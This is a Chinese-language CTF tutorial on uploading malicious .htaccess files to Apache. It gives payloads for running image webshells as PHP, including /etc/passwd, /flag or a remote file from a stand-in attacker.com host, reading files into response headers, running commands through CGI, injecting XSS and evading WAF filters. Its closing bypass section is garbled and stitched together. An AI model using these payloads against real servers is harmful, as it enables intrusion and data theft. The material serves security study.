跳转至

文件上传 .htaccess文件篇

一. .htaccess文件是什么

.htaccess 是 Apache web 服务器的一种分布式配置文件。它允许在不修改主配置文件的情况下,对特定目录及其子目录的Apache行为进行配置。

//小芝士:

.ht表示它是隐藏文件

access表示它用于控制访问权限和配置

主要作用:目录级配置

/var/www/html/          # 主目录
├── .htaccess           # 影响整个html目录
├── admin/
│   └── .htaccess       # 只影响admin目录
└── upload/
    └── .htaccess       # 只影响upload目录

常见功能:

URL重写:美化URL、重定向

访问控制:IP黑白名单、密码保护

错误页面定制:自定义404、403页面

MIME类型设置:定义文件类型的处理方式

缓存控制:设置浏览器缓存策略

文件索引:控制目录列表显示

二.常见指令

①SetHandler(信息收集查看自己payload的触发情况)

编辑.htaccess文件内容为

 SetHandler application/x-httpd-php //当前目录下的所有文件都会被当成php解析
SetHandler server-status // 这种方式利用了apache的服务器状态信息(默认关闭),可以查看所有访问本站的记录

通过访问特定文件(如一个不存在的文件)并加上 ?refresh=5 参数,可以实时查看服务器的访问记录。

这里主要是信息收集,监控流量。

②AddType(将图片当作php运行)

可以将给定的文件扩展名映射到指定的内容类型

故使用 AddType application/x-httpd-php .gifAddType application/x-httpd-php .png .jpg 等指令,可以将特定的文件后缀(如.gif, .png)映射到PHP处理器。

当网站只允许上传图片但限制不严时,攻击者上传一个名为 shell.jpgshell.png 的图片马,并配合此.htaccess指令,使得服务器将该图片作为PHP执行,从而获取WebShell。

用法

AddType media-type extension [extension] ...
AddType application/x-httpd-php .gif
//将扩展名为.gif的文件当作php文件解析
AddType application/x-httpd-php png  jpg gif
//将以 .png .jpg .gif 多个后缀当做 php 解析

③AddHandler (cgi脚本执行)

可以在文件扩展名与特定的处理器之间建立映射

AddHandler cgi-script .xxx
//可以将非标准的后缀名(如.xxx)映射到CGI处理器。

如果服务器允许上传并执行CGI脚本,攻击者可以上传一个恶意的CGI脚本并修改其扩展名,通过此指令使其被正确执行。

④php_value 文件上传(自动包含)及正则绕过

php_value auto_prepend_file images.png 
//作用是在每个PHP文件执行之前,自动包含并解析 images.png 文件。

如果攻击者无法直接上传PHP文件,但可以上传一个包含PHP代码的图片(如 images.png),再通过此指令让所有PHP文件在解析前都自动包含这个图片。这样,攻击者访问网站上的任何一个正常的PHP页面,图片中的恶意代码就会被执行。这实质上是一种“自动包含”的GetShell方式。

利用php_value绕过正则表达式限制

通过设置 php_value pcre.backtrack_limit 0php_value pcre.jit 0 来降低正则表达式的回溯限制。

原理是设置正则回朔次数来使正则匹配的结果返回为 false 而不是0 ,从而可以绕过正则。

⑤php_flag engine 0 获取源码(没啥用 )其实和你鼠标右键一样

php_flag engine 0 会关闭当前目录及子目录的PHP引擎。

这主要用于源码泄露。当一个目录下的文件原本应该被PHP解析输出动态内容时,如果PHP引擎被关闭,访问这些文件时,服务器将不再解析它们,而是直接返回文件的原始源代码。

⑥一些其他的方法和他们的利用场景:DirectoryIndex

DirectoryIndex index.html index.php index.htm // 设置目录的默认索引文件顺序
DirectoryIndex index.html index.php /123.txt //示例

指令作用:当用户访问一个目录(例如 http://site.com/upload/)时,Apache会在该目录下寻找DirectoryIndex指令指定的文件列表,并返回第一个找到的文件。如果所有文件都不存在,Apache会根据Options指令的配置,可能返回目录列表(如果开启了Indexes)或403禁止访问。

在Union ctf ezupload题中利用它制造一个“必然会失败”的文件查找过程。指令中的/123.txt指向文件系统根目录下的一个文件(通常不存在)。这个查找操作本身成为了一个“触发器”,目的是让Apache在处理请求时,顺带执行后续的Header指令。

如果服务器配置存在缺陷,可以通过设置DirectoryIndex指向一个已知的敏感文件(如/etc/passwd),观察服务器是返回文件内容还是报错,从而判断文件是否存在。

⑦访问控制和功能配置Options +Indexes

Options指令用于开启或关闭特定的服务器特性,+Indexes意味着当目录没有默认首页时,允许列出目录内容。可以简单的理解为提升了一下我们的权限。

CTF利用场景

  • 信息泄露Options +Indexes如果应用在敏感目录(如备份目录、上传目录),攻击者可以直接浏览并下载目录下的所有文件。
  • 提升权限

⑧RewriteEngine 与 RewriteRule

RewriteEngine On
RewriteRule ^product-([0-9]+)\.html$ product.php?id=$1

指令作用RewriteEngine On用于开启重写引擎。RewriteRule用于定义具体的重写规则,它匹配请求的URL,并将其重定向到另一个路径或文件。

参考payload union ctf ezupload:

RewriteEngine On
RewriteCond expr "file('/flag') =~ /(.+)/"
RewriteRule .* - [E=FLAG_CONTENT:%1]

这里的RewriteRule .* - [E=FLAG_CONTENT:%1]

  • .*匹配所有请求。
  • -表示不进行重定向,也不改变URL。
  • [E=FLAG_CONTENT:%1]是一个标志(flag),它的作用是将RewriteCond中捕获的内容(%1,即flag文件的内容)赋值给一个名为FLAG_CONTENT环境变量。 所以,这条RewriteRule本身不修改任何路径,它的唯一目的就是传递数据

CTF利用场景

  • 数据传递:用[E=变量名:%1]将正则捕获的内容存储到环境变量中,供其他模块(如mod_headers)使用。

  • 路径伪造:可以重写URL,让看似普通的请求指向恶意文件。例如,上传一个图片马shell.jpg,然后通过.htaccess设置:

apache

RewriteEngine On RewriteRule ^images/.*\.php$ shell.jpg [L]

这样,当访问images/shell.php时,实际上返回的是shell.jpg的内容,但如果服务器将.jpg解析为PHP,就会执行恶意代码。

  • 信息读取:结合RewriteCond exprfile()函数,可以在不依赖PHP的情况下读取服务器文件。例如:

apache

RewriteCond expr "file('/etc/passwd') =~ /(root:.*)/" RewriteRule .* - [E=USERINFO:%1]

⑨Header 指令

Header set X-Powered-By "Apache"
Header set X-Custom-Header "My Value"

指令作用Header指令用于添加、修改或删除HTTP响应头。它可以设置为静态值,也可以设置为动态表达式(expr=)。

Header指令都是最终数据外带的关键

Header set X-Test-Expr "%{FLAG_CONTENT}e"

这里从环境变量FLAG_CONTENT中读取flag内容,并写入响应头X-Test-Expr

Header set X-Flag "expr=%{file:/flag}"

这里更直接,用expr=%{file:/flag}表达式,在设置响应头的同时,立即读取/flag文件的内容并写入响应头。

利用场景

  • 数据外带:当响应体被限制(如PHP被禁用、内容被过滤)时,将敏感数据写入响应头是经典的绕过技巧。攻击者只需查看服务器的响应头即可获取信息。

  • 信息探测:通过设置响应头并观察服务器的行为,可以判断某些配置是否生效。例如,设置一个自定义头X-Debug: expr=%{ENV:SECRET},如果返回了SECRET环境变量的值,说明配置解析成功。

  • expr深度结合expr表达式可以调用Apache的内部函数(如file()reqenv())和变量(如%{TIME})。这意味着可以通过Header指令实现动态内容生成。例如:

apache

Header set X-Server-Time "expr=%{TIME}" Header set X-Request-ID "expr=%{UNIQUE_ID}"

三.具体场景及其组合利用方式

①文件解析

当文件上传的黑名单没有限制 .htaceess 后缀,通过上传 .htaccess 文件,再上传图片,使图片的 php 恶意代码得以被解析执行。

1.`SetHandler` 指令
# 将images.png 当做 PHP 执行
<FilesMatch  "images.png">
SetHandler  application/x-httpd-php
</FilesMatch>

2.AddType
# 将 .jpg 当做 PHP 文件解析
AddType application/x-httpd-php .jpg

②文件包含,本地文件包含 (LFI) 与敏感文件读取

本地文件包含

目标:读取服务器上的敏感文件(如 /etc/passwd、/flag)。

攻击链:上传 .htaccess 文件,内容为 php_value auto_prepend_file /flag,并访问同目录下的一个合法的PHP文件(如 index.php)。

结果:在 index.php 执行前,/flag 文件的内容会被自动包含并执行。如果/flag包含PHP代码,则会执行;如果是纯文本,其内容会被直接输出在页面中(如果PHP配置允许)。

核心指令

指令                              作用                                  区别
auto_prepend_file   在执行目标PHP文件之前,自动包含(include)指定的文件。    脚本执行前
auto_append_file    在执行目标PHP文件之后,自动包含(include)指定的文件。    脚本执行后

这两个指令原本是为了方便开发者全局引入公共文件(如数据库连接配置、函数库)而设计的。

.htaccess 中,php_value 允许你动态修改这些配置,仅对当前目录及其子目录生效

当指定的文件被包含时,PHP引擎会把它当作PHP代码来解析执行

参考payload:

#auto_prepend_file 
配置文件:php_value auto_prepend_file /etc/passwd
或
#auto_append_file
配置文件:php_value auto_append_file /etc/passwd
远程文件包含

前提条件:all_url_includeOn, 在.htaccess文件中配置如下

php_value auto_append_file http://attacker.com/phpinfo.txt

结果:在访问任意一个页面的时候,目标服务器会远程获取 phpinfo.txt文件包含到页面中。

③代码执行

1.伪协议

前提条件:all_url_fopenall_url_includeOn

在.htaccess文件中配置如下:

php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw== //解码后内容为<?php phpinfo(); ?>
#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B

在访问php页面后,会自动执行该配置文件,将包含到php页面中并执行。

2.解析.htaccess

方法一:把.htaccess文件包含到当前页面中执行,打印配置文件到页面上,.htaccess文件配置:

php_value auto_append_file .htaccess
#<?php phpinfo();

在htaccess配置文件中,#代表注释,在配置文件中,不起作用,但是,当该配置文件被包含到php文件中,注释后的php代码会被执行。

方法二:(适用与目录中没有php文件)

这种适合同目录或子目录没有 php 文件。需要先设置允许可访问 .htaccess 文件,在.htaccess文件中配置如下:设置允许可访问 .htaccess 文件

<Files ~ "^.ht">
 Require all granted
 Order allow,deny
 Allow from all
</Files>

再将 .htaccess指定当做 php文件处理

SetHandler application/x-httpd-php
# <?php phpinfo(); ?>

效果如图:

image-20260313130557535

④命令执行(这个方法很少见,试验了几个题目靶场基本没有mod_cgi 模块,仅作了解)

传统 CGI 命令执行(mod_cgi):

CGI(Common Gateway Interface,公共网关接口) 是一种让Web服务器与外部程序(如脚本、可执行文件)交互的协议。

前提条件

Apache必须加载了 mod_cgi 模块。在apache主配置文件中应有:

LoadModule cgi_module modules/mod_cgi.so

.htaccess 配置详解

apache

Options ExecCGI              # 允许在该目录下执行CGI程序
AddHandler cgi-script .xx    # 将.xx后缀的文件当作CGI程序处理

指令作用

  • Options ExecCGI:开启目录的CGI执行权限。默认情况下,出于安全考虑,CGI执行是关闭的。
  • AddHandler cgi-script .xx:建立文件后缀与处理器的映射。这里将 .xx 后缀映射到 cgi-script 处理器,意味着任何以 .xx 结尾的文件都会被Apache当作CGI程序执行。

示例:

miao.xx

#!C:/Windows/System32/cmd.exe /k start calc.exe
7

这里是打开本地C盘计算器。在ctf里可以反弹shell的方式去进行命令执行,也可以直接编写

echo "Content-Type: text/html"
echo ""
echo "<h3>Root Directory Listing:</h3>"
echo "<pre>"
ls -la /
echo "</pre>"

类似的命令程序直接进行执行。

FastCGI 命令执行(mod_fcgid):

FastCGI 是CGI的改进版本,旨在解决传统CGI为每个请求创建新进程的性能问题。它通过持久化进程来处理多个请求,提高了效率。mod_fcgid 是Apache实现FastCGI支持的模块。

前提条件

Apache必须加载了 mod_fcgid 模块:

LoadModule fcgid_module modules/mod_fcgid.so

.htaccess 配置详解

Options +ExecCGI                    # 开启CGI执行权限
AddHandler fcgid-script .xx         # 将.xx后缀的文件交给fcgid处理器
FcgidWrapper "C:/Windows/System32/cmd.exe /k start calc.exe" .xx

此时miao.xx的文件内容可以是任意内容

image-20260313135754630

新增指令

  • FcgidWrapper:这是 mod_fcgid 特有的指令。它指定一个包装器程序(wrapper)来处理特定后缀的文件。
  • 语法:FcgidWrapper "包装器程序路径" [文件后缀]
  • 作用:对于匹配后缀的文件,Apache会调用指定的包装器程序来执行它们。
  • 这里将 cmd.exe /k start calc.exe 设置为 .xx 文件的执行包装器,意味着任何对 .xx 文件的请求,都会启动计算器进程。

执行流程

  1. 攻击者上传 .htaccess 和任意 .xx 文件(内容可空白)。
  2. 访问 ce.xx
  3. mod_fcgid 接管请求,根据 FcgidWrapper 指令,调用 cmd.exe 启动计算器。
  4. 与CGI的区别:FastCGI可能会维持一个进程池,但这里因为包装器每次都启动新进程,效果与传统CGI类似。

⑤xss

highlight_file:

前提条件:php文件中存在highlight_file(__FILE__);

.htaccess配置文件

php_value highlight.comment '"><script>alert(1);</script>'

指令作用

  • highlight.comment:这是PHP的语法高亮配置选项之一,用于定义注释在HTML输出时的样式。
  • 默认情况下,它的值是类似 style="color: #FF8000" 的HTML属性字符串。
  • 攻击者将其改为 '"><script>alert(1);</script>',这是一个HTML注入 payload。

其中的 highlight.comment 也可以换成其他选项比如,

image-20260313140241141

highlight.string    字符串颜色   #DD0000
highlight.comment   注释颜色    #FF8000
highlight.keyword   关键字颜色   #007700
highlight.default   默认文本颜色  #0000BB
highlight.html  HTML代码颜色    #000000

示例:

index.php

<?php
highlight_file(__FILE__);
// comment

流程及其效果

  1. 用户访问 index.php

  2. PHP执行 highlight_file(__FILE__);,读取 index.php 自身的源代码。

  3. PHP对源代码进行语法高亮处理,为不同元素(关键字、字符串、注释等)添加HTML <span> 标签和样式。

  4. 在处理注释 // comment 时,PHP使用 highlight.comment 配置的值作为样式属性。

  5. 最终生成的HTML代码中会出现类似:

    html

    <span style="'><script>alert(1);</script>">// comment</span>

  6. 浏览器解析HTML时,<script>alert(1);</script> 被当作JavaScript执行,弹窗。

利用错误消息链接实现 XSS

前提条件

目录下有一个PHP文件,会触发错误(例如包含一个不存在的文件)。

index.php

<?php
include('foo');  // foo文件不存在,会报错
?>

.htaccess 配置

php_flag display_errors 1
php_flag html_errors 1
php_value docref_root "'><script>alert(1);</script>"

指令详解

  • php_flag display_errors 1:开启错误显示,让错误信息输出到浏览器。
  • php_flag html_errors 1:以HTML格式显示错误信息,使错误信息中包含链接。
  • php_value docref_root "'><script>alert(1);</script>":设置错误消息中“参考文档”链接的根URL。当 html_errors 开启时,PHP会在错误信息中生成一个指向文档的链接,链接地址由 docref_root 和错误类型组成。

流程及最终效果:

  1. 用户访问 index.php

  2. PHP尝试包含 foo 文件,但文件不存在,触发警告或错误。

  3. 由于 display_errorshtml_errors 开启,PHP生成HTML格式的错误信息。

  4. 在错误信息中,PHP会包含一个“参考文档”链接,链接的href属性值由 docref_root 决定。

  5. 攻击者设置的 docref_root 值为 '"><script>alert(1);</script>,因此生成的HTML代码为:

    html

    <a href="'><script>alert(1);</script>...">...</a>

  6. 浏览器解析时,<script> 标签被执行。

这里可以做到窃取cookie,配合CSRF进行脚本执行恶意操作。

⑥利用重写模块读取文件内容

RewriteEngine On
RewriteCond expr "file('/flag') =~ /(.+)/"
RewriteRule .* - [E=FLAG_CONTENT:%1]
Header set X-Test-Expr "%{FLAG_CONTENT}e"

上传 .htaccess 作为攻击入口(突破上传限制)。

利用 mod_rewrite + expr + file() 读取服务器上的flag文件。

利用 mod_headers 将读取到的内容写入响应头

访问任意文件 触发重写规则,从而获取flag。

核心利用点:

  • RewriteCond expr 在重写条件中使用表达式(expr)解析器。表达式可以调用Apache的内部函数,例如 file('/flag')
  • file() 函数: 在Apache的expr上下文中,file('/flag') 用于读取服务器上的文件(这里是根目录下的flag文件)。这是本题实现文件读取的关键。
  • 正则捕获: 通过 =~ /(.+)/ 将读取的文件内容匹配并捕获到变量 %1 中。
  • mod_headers:由于无法直接将文件内容打印到页面上(且PHP被禁用),攻击者将捕获到的flag内容(%{FLAG_CONTENT}e)写入自定义的响应头 X-Test-Expr 中。当客户端访问该目录下的任意文件时,flag就会以响应头的形式返回给攻击者。
  • RewriteRule .* - [E=FLAG_CONTENT:%1] 中的 [E=] 标志用于设置环境变量。将正则捕获到的flag内容(%1)赋值给环境变量 FLAG_CONTENT。随后,Header 指令通过 %{FLAG_CONTENT}e 语法读取这个环境变量,实现了重写模块到头模块的数据传递。

⑦利用不存在的文件,触发header头带出

Options +Indexes
DirectoryIndex /123.txt
Header set X-Flag "expr=%{file:/flag}"

这个只需要上传一个文件即可。最后访问目录本身。

四.Bypass

第一类:绕过内容检测(改动的是文件内容)

这类方法适用于:服务器检查了上传文件的内容,发现了黑名单关键词(如 AddTypephp_value)就拦截。我们通过改变文件内容的写法,让这些关键词不被识别出来,但Apache在解析时仍能正确执行。

1. 注释符与拼接绕过
  • 原理解析:Apache解析 .htaccess 时,支持两种语法:

  • # 作为注释符,它后面的内容会被忽略。我们可以利用这一点,在敏感指令后加上 # ,来绕过WAF。

  • \ 可以拼接上下两行,这可以用来拆分敏感关键词。

  • 利用方式举例:

  • 内容拆分:将 AddType 拆成 AddType 分两行写。

    ```

    文件内容

    AddT\ ype application/x-httpd-php .jpg ```

    WAF如果只做简单的关键词匹配,可能只看到第一行的 AddT 和第二行的 ype,无法识别出完整的 AddType。但Apache在解析时,会把这两行合并成一条完整指令执行。

  • 内容混淆:在有效指令后面加上 #

    #需要和前面的内容隔一个空格,并且#只能注释一行内容,可以使用反斜线来转义换行符,从而注释多行内容

    ```

    文件内容

    AddType application/x-httpd-php .jpg # abdsad sadad ```

2. 空字节注释绕过
  • 原理解析:在早期的Apache版本或某些特定配置下,空字节(0x00)在配置文件中也可能被当作注释符或截断符。其后的内容会被忽略。

  • 利用方式: 在文件内容中插入空字节。

``` RewriteEngine On RewriteCond expr "file('/flag') =~ /(.+)/" RewriteRule .* - [E=FLAG_CONTENT:%1] Header set X-Test-Expr "%{FLAG_CONTENT}e" image-20260313143334443 image-20260313143439240 image-20260313143508800 解法二:

Options +Indexes
DirectoryIndex /123.txt
Header set X-Flag "expr=%{file:/flag}"
image-20260313143237807 image-20260313143223551
?>